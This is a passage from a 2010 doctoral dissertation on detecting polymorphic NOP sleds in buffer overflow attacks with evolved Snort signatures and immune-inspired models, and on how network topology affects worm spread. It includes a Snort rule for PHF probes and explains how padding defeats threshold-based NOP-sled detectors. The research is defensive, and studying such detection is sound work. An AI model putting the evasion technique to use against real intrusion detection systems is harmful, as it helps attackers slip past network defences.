Polymorphic attacks and network topology: application of concepts from natural systems

Prahalad Rangan
University at Albany, State University of New York, rprahalad@hotmail.com

The University at Albany community has made this article openly available. Please share how this access benefits you.

Follow this and additional works at: https://scholarsarchive.library.albany.edu/legacy-etd

Part of the Library and Information Science Commons

Recommended Citation
https://scholarsarchive.library.albany.edu/legacy-etd/245

This Dissertation is brought to you for free and open access by the The Graduate School at Scholars Archive. It has been accepted for inclusion in Legacy Theses & Dissertations (2009 - 2024) by an authorized administrator of Scholars Archive. Please see Terms of Use. For more information, please contact scholarsarchive@albany.edu.
Polymorphic Attacks and Network Topology: Application of concepts from Natural Systems.

By

Prahalad Rangan

A Dissertation

Submitted to the University at Albany, State University of New York
In Partial Fulfillment of
The Requirements for the degree of
Doctor of Philosophy
PhD Program in Information Science
College of Computing and Information

April 2010
Polymorphic Attacks and Network Topology: Application of concepts from Natural Systems.

By

Prahalad Rangan

COPYRIGHT 2010
Acknowledgements

I would like to thank Dr. Jagdish Gangolly, Dr. Sanjay Goel, and Dr. George Berg for agreeing to be on my dissertation committee and providing me with valuable suggestions which has helped me a lot in the writing of this dissertation. I would like to thank Dr. Sanjay Goel, with whom I have worked closely in investigating the application of a distributed model of intrusion detection. Sanjay has also been instrumental in providing support, not restricted to computing infrastructure.

I would also like to thank Dr. Kevin H. Knuth, who has helped me out with the Bayesian analysis of the data obtained from ns-2 simulations and provided me with some valuable inputs for my dissertation.

I would also like to thank all other members of the College of Computing and Information, faculty, staff and students, who have played a cameo or two in the completion of my dissertation.
"Hoaxes use weaknesses in human behavior to ensure they are replicated and distributed. In other words, hoaxes prey on the Human Operating System."

- Stewart Kirkpatrick

"If you think technology can solve your security problems, then you don't understand the problems and you don't understand the technology."

- Bruce Schneier
Polymorphic Attacks and Network Topology: Application of concepts from Natural Systems.

Abstract

The growing complexity of interactions between computers and networks makes the subject of network security a very interesting one. As our dependence on the services provided by computing networks grows, so does our investment in such technology. In this situation, there is a greater risk of occurrence of targeted malicious attacks on computers and networks, which could result in system failure. At the user level, the goal of network security is to prevent any malicious attack by a virus or a worm. However, at the network level, total prevention of such malicious attacks is an impossible and impractical objective to achieve. A more attainable objective would be to prevent the rampant proliferation of a malicious attack that could cripple the entire network.

Traditional Intrusion Detection Systems (IDSs) focus on the detection of attacks at the individual nodes, after a malicious code has entered individual machines in a network. However, repeated failures of conventional IDSs have led researchers to develop methods that integrate detection systems in networks and use their collective intelligence to defend against malicious attacks. Such approaches utilize the synergistic power generated by the network, as nodes share prior and current knowledge of detected attacks and related information with other nodes.
This dissertation investigates the practical application of a cooperative approach, used to defend computer networks against attacks from external agents. In this dissertation I focus on the detection of metamorphic NOP (No OPeration) sleds, which are common in buffer overflow attacks, and the role of topology on the rate of spread of a malicious attack. The aim of this study is to use the results to provide recommendations that can be utilized to develop optimal network security policies.
Contents

1. Introduction ......................................................................................1
   1.1 Intrusion Detection .................................................................3
   1.2 Signature Based Intrusion Detection via Snort .........................5
   1.3 Immunology Perspective in Detection ....................................7
   1.4 Topological factors for Remediation .....................................9
   1.5 Objectives of this dissertation .............................................11

2. Motivation ......................................................................................15
   2.1 Description of the Problem ..................................................15
       2.1.1 Buffer Overflow ............................................................16
       2.1.2 Polymorphism in shell code .........................................18
       2.1.3 Network Topology and virus spread ............................19
   2.2 Importance of the problem ..................................................19
   2.3 Background work ...............................................................20
   2.4 Contributions of this dissertation .......................................22

3. Background and Related Work ....................................................24

4. Description of the experimental frameworks ...............................39
   4.1 The Repast framework ..........................................................39
       4.1.1 Application of Immuno-Epidemiological Paradigms
              in the Repast framework ..............................................39
       4.1.2 Architecture of the Repast framework .........................41
              4.1.2.1 Immune system component ..............................42
              4.1.2.2 Epidemiology component .................................43
       4.1.3 Agents and metrics used ..............................................43
       4.1.4 Extensions to the Repast model ..................................46
       4.1.5 Implementation of foreign detectors .........................47
       4.1.6 Simulations and experiments .....................................48
   4.2 Ns-2 .....................................................................................48
       4.2.1 Network Topology and Remediation Plan ....................49
       4.2.2 The Susceptible-Infected (SI) model ..........................49
       4.2.3 Constructing Network Models using BRITE ...............50
       4.2.4 Simulations and experiments .....................................52

5. Experiments and Results .............................................................53
   5.1 Observations from the preliminary Repast simulations ............53
   5.2 Application of the Repast framework to real-world problems ....55
       5.2.1 Multi-factor matching using Snort signatures .................57
       5.2.2 Experiences with DARPA ...........................................62
       5.2.3 Description of the Agobot experiments .......................64
       5.2.4 Lessons learnt from Agobot Experiments ....................69
       5.2.5 The LSASS Buffer overflow .......................................69
5.3 Experiments to generate NOP equivalents ..........................71
5.4 Results from ns-2 simulations ........................................75

6. Discussion and Conclusion ..............................................78
   6.1 Repast simulation results ...........................................78
   6.2 ns-2 simulation results .............................................82
   6.3 Conclusion ............................................................83

Appendix A ...........................................................................85
Appendix B ...........................................................................86
Appendix C ...........................................................................87

References ............................................................................90
Chapter 1 – Introduction.

Malicious external parties constantly probe computer networks for vulnerabilities. When such vulnerabilities are discovered, networks can become the target of malicious attacks. Effective attacks are capable of doing a great deal of damage, even putting companies out of business in extreme cases. Detection and prevention of such attacks has become a priority for network security researchers and this in turn has led to significant resource investments.

Unlawful entry or the act of accessing information that is not meant for everyone is described as an exploit. Exploits can be launched in several ways on computer networks. Lowery (2002) provides a lexicon of some attacks, these have been included in Appendix A for general reference.

The exploits of interest in this study are those used by worms. A worm is a self-replicating computer program that uses the nodes in a network to send copies of itself across the network, with or without human intervention. Worms have a habit of consuming network bandwidth and can spread at great speeds. Initial studies reveal that the Code-Red worm was able to infect 359,104 hosts in less than 14 hours (Moore et al., 2002).

Kephart et al. (1997) suggest that computer viruses are on the verge of undergoing a fundamental change that will greatly enhance their ability to propagate. Virus attacks can
infect up to 90% of vulnerable networks in a matter of minutes. The authors call attention to the need for sweeping changes in the security systems that defend against such viruses. Since humans are completely removed from the virus replication process, the authors state that any effective response against new viruses will require the non-involvement of humans in the response process also.

Ideally, an IDS should have the capacity to identify and control the spread of a worm or any other similar exploit automatically in real time, without human intervention. An example of such a system is Snort, an open source, lightweight network intrusion detection tool that can monitor small TCP/IP networks and detect a wide variety of suspicious network traffic, as well as outright attacks (Roesch, 1999). However, such a tool can only detect what is specified in its rule set and cannot detect novel attacks. In this dissertation I will use Snort for intrusion detection, within a learning algorithm and evolve rules or signatures (see section 1.1) based on negative selection algorithms, such as those proposed by Forrest et al. (1994, 1995). I will also use the technique of mutation, to investigate whether a wider range of attacks can be detected.

The rest of this chapter is divided into five sections. In Section 1.1, I discuss the two main approaches to Intrusion Detection viz. anomaly detection and misuse detection, laying emphasis on misuse detection which is employed in this dissertation. In Section 1.2, I discuss how Snort rules are used as a signature based IDS tool. In Section 1.3, I provide a brief overview of the application of Immunological models to computer security. In Section 1.4, I introduce the role played by network topology in the spread of worms and
discuss how the knowledge of topology can be leveraged against a worm. In section 1.5, I summarize the objectives of this dissertation.

1.1 Intrusion Detection

The two primary approaches used by IDSs to discover if an attack has occurred are: 1) Misuse detection and 2) Anomaly detection. The approach in which the detection agent scans for known patterns of malicious behavior is called Misuse detection. On the other hand, the approach wherein the detection agent looks for abnormal patterns of activity (perhaps previously unknown), is known as Anomaly detection.

Many popular commercial IDSs employ Misuse detection. The patterns of activity corresponding to known network attacks are called signatures, and a good signature is one that describes the characteristics of an intrusion in a compact and precise manner. Misuse detection is also called “signature-based detection”. Traditional IDSs classify packets of traffic entering a network as normal or harmful and choose to allow or drop them, based on the extent to which they resemble the signatures of known attacks. However, misuse detectors can detect only those attacks whose signatures are known. This necessitates constant update of signatures for new attacks as they are discovered. Anomaly detectors, in contrast, assume a normal state of behavior and look for any deviations from this normal state to determine malicious behavior. The advantage of anomaly detection is that previously unknown attacks can be detected, but it can also result in many false alarms.
Writing effective signatures is a key aspect of detecting malicious activity. Marcus Ranum (2001) of NFR Security illustrates this with a good example. If an IDS was looking for a specific HTTP-based attack against a web server, and if the attack invoked a vulnerable CGI script, then the IDS would look for that CGI-script string in the TCP packets that was aimed at port 80. If the IDS did not track the session or TCP state, it would then generate an alarm if the network were flooded with packets having that fragment. But if the packets do not create any sessions, an attack has not really taken place. There were just a lot of false positives. Signature matching, which indicates whether an attack has occurred, is dependent on what the IDS was trying to detect. For example if the IDS was monitoring DNS traffic, the names of the hosts being queried for and the responses to these queries might be relevant.

Moore et al. (2002) discovered that the popular worm Code-Red (v1) generated a random list of IP addresses to probe after infecting a machine. This random list was generated from a static seed and hence identical lists were generated on each infected machine. Subsequent versions of the worm, Code-Red (v2) for example, used a random seed in their pseudo-random number generator and each infected machine attempted to infect a different list of randomly generated IP addresses. This method of infection greatly enhanced the worm’s adverse impact on vulnerable hosts. The success of the second version was due to the fact that the virus had a bias towards generating addresses within the same /8 and /16 (i.e., if an infected machine had an IP address of 169.226.36.24 then the random list of addresses to probe had a bias towards 169.xxx.xxx.xxx and
169.226.xxx.xxx). The reason for this bias could be the fact that the machines on a single network are more likely to run similar software and hence probably have the same vulnerability. Also, the second version of the worm installed a mechanism for remote, administrator level access of the infected machine, and so the machines on the network could be used as "spooks" for future attacks. Moore et al. (2003) discuss address blacklisting and content filtering as possible containment strategies for self-propagating code.

In summary, misuse detection or signature based detection is disadvantageous as it cannot be used to detect novel attacks and the repository of known signatures has to be continually augmented to include newer signatures. Evidence has shown that new attacks are frequently modifications of known attacks. In this dissertation I will investigate the utility of evolving signatures (using Snort rules) and using the concept of mutation to see if variations of known attacks can be detected in real time, without human intervention.

1.2 Signature Based Intrusion Detection via Snort

Snort is a popular IDS tool that uses signatures to detect intrusion. Developed by Sourcefire, Inc., Snort is a light weight open source intrusion detection tool that can be deployed to monitor small TCP/IP networks. It can detect a wide variety of suspicious network traffic as well as outright attacks (Roesch, 1999). One of the distinguishing features of Snort is that it inspects packet payloads. It can decode the application layer of a packet and can be given rules to collect specific traffic that has data contained within its
application layer. This allows Snort to detect many types of hostile activities, including buffer overflows, CGI scans, and other data which have a unique fingerprint.

Since Snort is an open source tool which is easy to configure, customize and deploy, I will use the snort rule set in this dissertation to represent the non-self space (see section 1.5) of malicious network traffic. I will generate detectors, which have attributes defined by the Snort rules, using algorithms, and show that it is possible to enhance the basic signatures of IDSs, which use misuse signatures similar to Snort, using this algorithm.

The content keyword is one of the more important features of Snort. It allows the user to set rules that search for specific contents in the packet payload and trigger responses based on that data. Whenever a content option pattern match is performed, the Boyer-Moore pattern match function is called and a computationally expensive test is performed against the packet contents. If any data that exactly matches the argument data string is found within the packet's payload, the test is deemed successful and the remainder of the rule option tests are performed.

For example consider the following Snort rule (Roesch, 1999):

```
alert tcp !$HOME_NET any -> 10.1.1.0/24 80 (content: "/cgi-bin/phf"; msg: "PHF probe!";)
```

This rule contains an action (alert), a protocol (tcp), a source netmask (typically defined as anything but the network being monitored), a source port (any), a destination netmask and a port (80). The content field specifies the string to be matched in the packet. The msg string is the alert to send if this string is matched. The rule above would screen all
traffic inbound for port 80 going to the 10.1.1 class C network address space, and detect all attempts to access the PHF service on any of the local network's web servers. If such a packet is detected on the network, an event notification alert is generated and then the entire packet is logged via the logging mechanism selected at run-time.

IDSs that employ pattern matching are under tremendous pressure to improve their performance as any reduction in their efficiency can become a potential denial of service vulnerability. This is because incoming packets (not just packet headers, but also their content payload) have to be matched against huge databases of signatures before being classified as normal or harmful and the string matching algorithm used can become a huge computational burden if it is not efficient (Fisk & Varghese, 2001). Roesch (1999) asserts that string matching is the most computationally expensive test that IDSs such as Snort perform on packets. Such an IDS represents a scheme that scans for exploits at a single point of entry.

1.3 Immunology Perspective in Detection

Biological immune systems consist of several different types of cells that work cooperatively to detect and neutralize pathogens entering the body. One popular theory in the natural immune system literature is that the immune system works as a classifier that can distinguish self cells (belonging to the body) from the non-self (foreign) cells. This theory, however, has been challenged by advocates of Danger Theory who propose that the immune system has the ability to perceive danger and reacts only when danger is
perceived, rather than when non-self cells are observed. This debate is analogous to the difference between misuse detection based on signatures and anomaly detection wherein deviations from normal behavior are identified.

Concepts from human immune systems have inspired the development of artificial immune systems in computing networks. Aickelin, et al (2004) have reviewed some key developments in the use of artificial immune systems for intrusion detection. Natural Immune Systems exhibit very desirable attributes such as autonomy, distributed behavior, and adaptation. These attributes can strengthen the performance of IDSs, when present. However, it is not possible to replicate the intricate details of the human immune system without a certain degree of abstraction. Moreover, the human immune system possesses a large number of detectors with rich representation schemes that capture the precise signature of pathogens. For the efficient detection of pathogen signatures, artificial immune systems would also need a large number of detectors with rich representation schemes. Maintaining such large numbers of detectors is a computational burden for any Artificial Immune System (AIS). Goel and Bush (2003) have proposed a model that reduces this computational burden while addressing the issue of the partitioning of the large non-self space. Their model provides a collective defense scheme, based on immunological models, which can trigger an autonomous response to attacks on a network.

Goel and Rangan (2010) have presented a preliminary simulation model based on immunological concepts, wherein multiple nodes in a computer network work
cooperatively to intercept and neutralize pathogens. In this model, the detectors undergo a training phase where randomly generated signatures are exposed to known malicious signatures and only those detectors which exhibit a (partial) match are proliferated.

This dissertation will investigate the possibility of reducing the computational burden on networks, by distributing the load across nodes in the network, and thus analyze the preliminary model suggested by Goel and Rangan (2010). I will use the Snort rule set to represent the set of known malicious signatures. The model will have immune systems distributed across multiple nodes of the network. These nodes will work synergistically, sharing data and rules to protect the network from pathogen attacks. Experiments will be conducted in a test bed where an attack will be launched and a suitable network protocol analyzer such as Wireshark and an IDS tool like Snort will capture packets. The objective of these experiments is to investigate if the evolved Snort rules will generate alerts when an attack is launched on the protected network, which is a variation of a known attack.

1.4 Topological factors for Remediation

Network topology has a large impact on the propagation and control of pathogens within a network. When we wish to thwart the spread of an attack in a network, it is imperative for us to explore the topological impact of different network configurations on the distributed immune system that is being developed. The strong analogy between biological viruses and their computational counterparts has motivated researchers to adopt techniques of mathematical epidemiology in the study of computer virus
propagation. The standard epidemiological models such as those used by Kephart and White (1991) operate on the assumption of homogeneity in the population, where an infected entity in a network is equally likely to infect any other susceptible entity in the network. However, this assumption is not entirely valid since it has been shown that both connectivity and topology have a significant impact on the spread of viruses. The authors predict the existence of a positive epidemic threshold below which an epidemic will always die. However, Satorras and Vespignani (2002) analyze real world data and suggest that viruses can have a long lifespan with low prevalence levels. In Kephart’s model, the long lifespan observed, would suggest an effective spreading rate larger than the epidemic threshold. But the low prevalence levels would negate the possibility of the virus being present in epidemic proportions. Satorras and Vespignani (2002) suggest that such viruses will spread preferentially to those computers that are highly connected to the outer world. And their remedy for real world computer epidemics is to involve these highly connected computers in the development of any kind of network security policy. Deszo and Barabasi (2002) have also proposed policies, where they target curing the highly connected to prevent the spread of a virus.

The connectivity of computer networks can be extremely complex and, in general, is unknown. However, tools such as ns-2 (network simulator v2) can be used to simulate networks of different topologies. An important goal of this dissertation is to investigate whether the spread of a worm can be controlled by involving the highly connected nodes in the network through ns-2 simulations in an attack scenario.
1.5 Objectives of this dissertation

The objective of this dissertation is to show that the signature used in the initial distributed model, presented in Goel and Rangan (2010), can be enhanced by characteristics available in IDSs such as Snort. The immune component in the model allows for the mutation of known virus signatures and the matching of randomly generated detectors against these signatures. This dissertation will try to demonstrate that by enhancing the signatures (by accommodating parameters from the Snort rule set) and using these signatures in a distributed model, it is possible to detect previously unknown viruses which are variations of known viruses. The first part of the dissertation addresses the detection phase in the spread of an attack in a network. The work done with ns-2 will provide a remediation plan, as well, which will ensure that by pulling out certain highly connected nodes during the early stages of the epidemic, it is possible to protect a significant number of hosts from being infected by the attack.

In the detection framework, presented in Goel and Rangan (2010), the concept of differentiation between self and non-self patterns has been abstracted, where malicious patterns are represented in the form of signatures. Such malicious pathogens can be detected by matching their signatures against the signatures of incoming traffic packets. However, the capacity to recognize pathogens is limited by the number of detectors within the immune system; with a large number of detectors needed for efficiency. To reduce the number of detectors required in a system, the partial matches of pathogen signatures is allowed with some bits (or segments) of the detector signature being ignored.
during the matching process. This enables the same detector to match multiple pathogens.

The metric for such partial matching is called specificity, which is defined as the ratio of the bits matched to the total number of bits in the signature. A low specificity detector can match a large number of signatures while a high specificity detector can match only a few signatures. Low specificity detectors can thus reduce the search space since each detector can match a larger number of signatures. However, this also leads to an increased number of false positives as the resolution of the detector diminishes.

In the case of human immune systems, massive parallelism and molecular-level pattern-matching facilitate the maintenance of a large number of detectors and enable efficient pathogen matching. AISs cannot sustain the same level of parallelism and consequently are not able to achieve similar levels of efficiency. The proposed framework reduces the computational burden on any individual node, by having all network nodes pool their resources, to share information, and collectively defend the network.

The immuno-epidemiological detection system developed in this work is a dynamic system where new detectors are periodically created and the performance of existing detectors is constantly analyzed. There are three types of detectors: 1) mature, 2) immature and 3) foreign. Mature detectors remain in the system for a very long time, while immature detectors undergo a maturation process at the end of which they may either be discarded or become mature. Foreign detectors are generated based on periodically updated viral reports compiled by the neighboring nodes.
The key to the optimal functioning of the immune system is the detection mechanism which is based on the ability to differentiate between self proteins and non-self proteins. The biological immune system distinguishes between the specific antigens (substances or proteins alien to the host) by means of antibodies and immune cell receptors, which bind to epitopes (a molecular region on the surface of an antigen capable of eliciting an immune response, consisting of at least 4-6 amino acids). It is peculiar to observe that an exact match to the entire antigen is not attempted in the human immune system. Similarly, the initial model uses metrics to alter the specificity (the number of contiguous bytes used in matching) of a match. These short sequences of bytes, used in pattern matching, combined with other relevant parameters represent a “signature”. Forrest et al. (1995) use a 49-bit string composed of the source IP-address, destination IP-address and the destination port as the signature of the packets. In initial simulations, the signature was a simple alpha-numeric string. In this dissertation I have explored using Snort rules as signatures, as seen in section 1.2. The signature agent used in the simulation is enhanced by adding attributes from the Snort rule set. Rules with the content option are relevant, as the objective is to recognize pathogens by scanning packet payloads as well. Therefore, for all practical purposes, a malicious attack in this dissertation is defined as one which can be represented by Snort rules employing the content option. More details about the simulation model are available in Chapter 4.

The remainder of this dissertation is organized as follows. Chapter 2 provides a description of the problems being studied in this dissertation and provides motivation to the reader. Chapter 3 of the dissertation presents a literature review of the various
intrusion detection approaches that have been studied in the last decade. In the first part of Chapter 4, I present the framework used to evolve Snort rules. The two main components in the framework are (a) the immune system component, which utilizes logic similar to other negative selection algorithms, and (b) the epidemiological component in which components of the network share information in real time. In the latter part of Chapter 4, I present the ns-2 framework and discuss the experiments performed using the ns-2 worm model. In Chapter 5, I present the results of the above experiments. The first part of Chapter 5, I present the results of the preliminary model and later explore the utility of the MIT Lincoln Labs, DARPA Data Set (1998) in validating the objectives of this dissertation. I then present the description of the test bed that was created to validate the evolved rules against real world threats, such as the LSASS buffer overflow attack, and the results of the simulations conducted. Towards the end of Chapter 5, I present the results of the ns-2 simulations. In Chapter 6, I present my conclusions and recommendations.
Chapter 2 - Motivation.

In this chapter I first describe the problems I am trying to address (1) polymorphism observed in rapidly spreading attacks (2) effect of topology on the rate of spread of these attacks, in section 2.1. In section 2.2, I deal with the importance of studying the problems. In section 2.3, I present some work done by other researchers in addressing the problems. In section 2.4, present the contributions of this dissertation in addressing the above problems.

2.1 Description of the Problem

Commercial signature-based intrusion detection systems (IDSs) such as Snort, Bro, etc. are reactive. They monitor network traffic for suspicious activity and raise alerts or perform a suitable action, if a pattern matches a known attack or signature. In the event of a known attack, an IDS would at best be able to raise and alert or possibly drop or reject the invasive packet at the point of placement of the IDS. The signature for the known attack can be evaded if the attack code can be changed without changing the functionality of the core exploit. This phenomenon, referred to as polymorphism, is frequently employed by virus authors to evade IDSs. In such a case, the IDS would be defenseless and the entire network it is supposed to be protecting becomes vulnerable to the attack.

Network topology plays an important role in the rate of spread of a virus or attack. In social networks network or global-level density is defined as the proportion of ties in a
network relative to the total number possible. A virus would be expected to spread faster in dense networks than in sparse ones.

In order to encounter a novel attack (a polymorphic version of a known attack) spreading at a fast rate, I am providing evidence for two things:

1. A pro-active detection framework that uses learning and mutation (to randomly alter known signatures) will be able to detect certain polymorphic attacks.

2. It is possible to slow down this attack by altering the topology of the network, it is beneficial to target highly connected nodes for this purpose.

In this dissertation I have chosen to study polymorphism observed in buffer overflow attacks, particularly in the NOP section of the code. In this dissertation I will also try to validate that we can slow down a virus if we are able to alter the topology of the network where it is spreading, in real-time. Ns-2 simulations are used for this purpose.

2.1.1 Buffer Overflow

In computer programming a buffer overflow occurs when a process, due to insufficient bounds checking, attempts to write over the memory addresses adjacent to the buffer it is attempting to store data. The over written data can result in unpredictable program
behavior which a malicious user could use to violate system security. Buffer overflows can be of two types, stack-based or heap-based. Memory on the heap is dynamically allocated by the application at run-time and typically contains program data. A buffer overflow occurring in the heap data area is referred to as a heap overflow.

A stack is an abstract data type frequently used in computer science. A stack of objects has the property that the last object placed on the stack will be the first object removed (LIFO). The most important technique for structuring programs introduced by high-level languages is the procedure or function. From one point of view, a procedure call alters the flow of control just as a jump does, but unlike a jump, when finished performing its task, a function returns control to the statement or instruction following the call. This high-level abstraction is implemented with the help of the stack. The stack is also used to dynamically allocate the local variables used in functions, to pass parameters to the functions, and to return values from the function. Stack buffer overflow bugs are caused when a program writes more data to a fixed-length buffer located on the stack than there was actually allocated for that buffer.

A NOP (or NOOP) (short for No-OPeration) – sled is a widely known technique for exploiting a stack buffer overflow. It helps to locate the exact location in memory where the exploit code resides. If large sections of the stack are corrupted with no-op (no-operation) instructions and if the malicious shell code is at the end of this region, the instruction pointer, which returns control to the instruction following the call, slides down the sleds until it encounters the malicious shell code. The no-op instruction can be any
instruction that does not corrupt the machine state to a point where the shell code will not run.

![Figure 2.1 NOP sled](http://en.wikipedia.org/wiki/File:NopSled.png)

**Figure 2.1 NOP sled**

### 2.1.2 Polymorphism in shell code

Polymorphism is a method used by hackers to evade signature-based IDS using pattern matching. Source code for polymorphic engines is available in the public domain of the Internet, for example, the source code for ADMmutate, an IDS evasion tool, was made public at the CanSecWest Security Conference on March 30, 2001. There is an article in Phrack\(^2\) which outlines the major principles of polymorphism used in ADMmutate. In this dissertation I am exclusively considering polymorphism and obscuration techniques observed in NOP instructions. The underlying concept being, a combination of single

byte and multi-byte instructions can be used to perform the same function as well known NOPs (such as 0x90 for the Intel architecture) and thus successfully evade IDSs looking for traditional NOPs.

2.1.3 Network Topology and virus spread

Computer virus and worms spread over networks of contacts between computers. Serazzi and Zanero (2004) have reviewed some popular models of virus propagation. There is evidence from past research that network topology plays an important role in the rate of spread of a virus or worm. Pastor-Satorras and Vespignani (2001, 2002), Deszo and Barabasi (2002) have considered scale free networks in their work. Scale free networks exhibit a power law connectivity distribution which is described in more detail in section 4.2.3. They propose that immunization strategies that target the highly connected nodes increase the chances of containing the epidemic. Williamson and Leville (2003) suggest virus throttling as a suitable method to slow down the spread of a virus. They suggest reducing the number of new connections made by a central infected computer such as a web server to slow down the virus spread.

2.2 Importance of the problem

In 1996, Elias Levy (aka Aleph One) provided a step-by-step introduction to exploiting stack-based buffer overflow vulnerabilities, which was published in Phrack magazine.
under the title "Smashing the Stack for Fun and Profit". Since then, at least two major internet worms have exploited buffer overflows to compromise a large number of systems. In 2001, the Code Red worm exploited a buffer overflow in Microsoft's Internet Information Services (IIS) 5.0 and in 2003 the SQL Slammer worm compromised machines running Microsoft SQL Server 2000. Static buffer overflows attacks are frequently observed on the Internet nowadays.

Viruses and worms, such as Code Red and Slammer, have the capability to spread at amazing speeds in a network. Network topology plays a vital role in the spread of such attacks. Therefore, a study, by means of simulation, on the rate of spread of an attack in networks of different topologies can help us to better understand the dynamics of spreading and enable us to come up with strategies to counter the spread of such worms.

2.3 Background work

In February 2002 Dragos Ruiu released the Fnord plug-in for Snort that used a simple heuristic to detect a NOP slide. The plug-in looks for consecutive occurrences of known NOP instructions and counts them, if they are greater than or equal to a particular threshold then an alert will be raised of a possible buffer overflow attack. This method of detection is easy to bypass. Lets say the threshold is x i.e the plug-in is looking for x consecutive occurrences of a particular instruction, then if you put an instruction that is not in the NIDS’s list every x-1 bytes then the threshold will never be reached.

---

Jordan (2005) points out that the instruction pointer does not need to slide but rather can even jump towards the payload as long as the jump instruction does not take the pointer beyond the payload. In his article Jordan (2005) has reviewed the work of another author, Phantasmal Phantasmagoria⁴, who has successfully demonstrated the NOP jump version. The demonstration showed that this jump version sometimes failed. However, this form of impure slide resets the consecutive NOP-equivalent counter (such as that of the Fnord plug-in) and makes the slide detection fail and the payload evade detection. Another author Yuri Gushin⁵ has also released a more complex engine that can detect impure NOP sleds. In his paper he first points out how one can evade traditional NOP detection techniques by using an expanded list of NOP replacements (he has added to the list of NOP replacements, which was first observed in ADMmutate). Though this engine has the capability to consider such possible unknown NOP equivalent or non-NOP equivalent, the author does not guarantee absence of false positives.

Toth and Kruegel (2002) address the problem of NOP sled detection by defining valid instructions chains as those which do not contain jump instructions (instructions that alter the execution flow of a process), then they focus on the execution length of valid instructions. Their algorithm (Abstract Payload Execution (APE)), which focuses on the execution length of the payload, uses the fact that requests which contain buffer overflow code include noticeably longer chains than regular requests.

⁵ Retrieved on November 2, 2008 from the World Wide Web: http://www.milw0rm.com/papers/18
Akritidis, et al (2005) present Stride, an algorithm which they claim has advantages over the algorithm presented by Toth and Kruegel. Stride has the ability to detect trampoline sleds which jump directly to their destination code, and therefore do not exhibit long execution chains. Stride, according to the authors, verifies that each and every byte of a sled is the start of a valid sequence of instructions. On the other hand, for APE it is enough to find only one sufficiently long execution sequence to consider it a valid sled.

In the context of virus spread in networks, Pastor-Satorras and Vespignani (2001, 2002) provided mathematical analysis of certain models and considered published virus prevalence data to draw their conclusions. Deszo and Barabasi (2002) have also provided a mathematical analysis to validate their conclusions. Williamson and Leville (2003) have used modeling to support their conclusions.

2.4 Contributions of this dissertation

Jordan (2005) concedes that Fnord is probably the only working solution available out there to handle NOP sled detection. According to him, work done by others (Phantasmagoria, Yuri) should be treated as proof of concepts which can be avoided by fragmentation, application encoding and threshold avoidance (to which even Fnord is susceptible). Jordan (2005) points out that exploit-related signatures (for IDSs such as Snort) alone are not sufficient to maintain a complete signature rule set and that signatures not associated with the exploit, like NOP slide detection and polymorphic decoder detection, are vital to a rule set being complete.
This dissertation is an investigation of the utility of the concept of collective network defense to reduce computational burden on individual nodes, presented by Goel and Bush (2003). In this dissertation I test an algorithm which incorporates learning (inherent in the maturation process of immature detectors, more details in Chapter 4) and random mutation to see if it is able to generate NOP equivalents. For the sake of simplicity I consider only single byte NOP instructions. This work is different from others mentioned so far in that it is a quick way to generate previously unseen NOP instructions. It can also be efficiently integrated into signatures of existing rule based IDSs, such as Snort, in real time fairly easily.

To address the issue of spread of a virus in a network, I have used ns-2 simulation of the worm model for different topologies to investigate the concept of targeted immunization of highly connected nodes. Results from such simulations will be useful in understanding the dynamics of virus spread in complex networks.
Chapter 3 - Background and Related Work.

Network based IDSs need to be proactive to counter the potential threat of malicious attacks against today’s massive networks. Ideally the algorithms used need to be quick and efficient to be able to classify streams of network traffic as malicious or otherwise. Over the years the idea of distributing the detection mechanism across network entities has gained popularity and researchers have been investigating the utility of cooperative agents to resist spread of a virus or worm. This chapter reviews some seminal work done in intrusion detection, with a particular focus on distributed approaches, in a chronological fashion. Some of the key contributions have been in the areas of automated methods of detection and reaction to attacks, cooperation and exchange of information among network agents (Anagnostakis et al (2003)), generation of signatures on the fly using repeating portions of packet content, along with the ports being targeted and protocols being used (Kim and Karp (2004), Singh et al. (2003, 2004)). Wang et al. (2004) describe vulnerabilities as partial state machines. Others such as Lincoln et al.(2004) and Locasto et al. (2005) call for Internet-scale collaboration between security practitioners and researchers. Akritidis et al. (2005) and Newsome et al. (2005) have focused of content substrings of packet payloads. Wang et al. (2005) have correlated ingress/egress network payload to identify the worm’s initial propagation. Costa et al. (2005) propose the concept of self-certifying alerts.

Debar, Dacier and Wespi (1999) termed the approach towards intrusion detection used in this work as: knowledge-based intrusion detection (KBID), the underlying concepts of
which are synonymous with misuse detection. Their rationale is based on the fact that these systems scan evidence for malicious activity based on learning from historical malicious activity. This approach is more proactive (anticipatory action towards future malicious activity) compared to the other major trend, known as behavior based intrusion detection (synonymous with anomaly detection), which basically looks for deviations from normal behavior in the system. There are some limitations attributed to using an expert system such as KBID. Since audit logs/events are translated into rules, the intensity of abstraction increases and a great burden falls on the processing speed of the system shell. Many intrusion detection products, such as Snort (Roesch, 1999), efficiently employ signature analysis, where attack scenarios are mapped into patterns of data and data passing across this layer of security will be sniffed for known patterns.

Moore et al (2003), in their work, use real-time data observed from the Code-Red epidemic, an empirical Internet topology data set, and utilize simulation to analyze how such a worm would spread under various defenses. They conclude that to prevent widespread infection, automated methods of detection and reaction to worms will become a requirement, stressing on the importance of early detection and activation of filtering mechanisms. The authors encourage network equipment vendors to provide high-speed packet classification and filtering services. They suggest that cooperation and coordination among ISPs will need to be extensive to effectively counter the epidemic.

Recently researchers have proposed several schemes which employ distributed approaches to combat network/internet wide exploits where there are several agents
scanning for exploits and at the same time sharing detection information with other such agents.

Anagnostakis et al (2003) present a cooperative virus response algorithm (COVERAGE) deployed in a distributed fashion, where each COVERAGE agent exchanges information about the state of a virus with other cooperating agents in order to construct a model for the proliferation of the virus. Each agent polls other agents selected randomly and assumes that only a small fraction of the nodes are reporting false information i.e. a randomly selected node is more likely to be trustworthy than a node that actively contacts us.

Kreibich and Crowcroft (2003) propose a system that applies pattern matching techniques and protocol conformance checks on multiple levels in the protocol hierarchy to network traffic captured by a honeypot system. The system tries to observe patterns in traffic encountered previously on the honeypot, parts of flows in traffic are superimposed and similarities between packet payloads are recorded using a longest common substring algorithm based on suffix trees.

By extending our discussion of “what” to detect and developing effective signatures that could detect malicious packets it is easy to appreciate that the signature would not just be one specific characteristic of the attack but rather that it would have to be a tuple – or a set of distinguishing characteristics. Kim and Karp (2004), in their system – Autograph, propose a signature as a tuple of (IP,proto, dst-port, byteseq) which represents an IP
protocol number, destination port number for that protocol, and a variable length, fixed sequence of bytes respectively. Their model is able to generate signatures by dividing the traffic into smaller blocks (and computing a series of Rabin fingerprints) and discovering the prevalence of common blocks based on a method they describe as content-based payload partitioning.

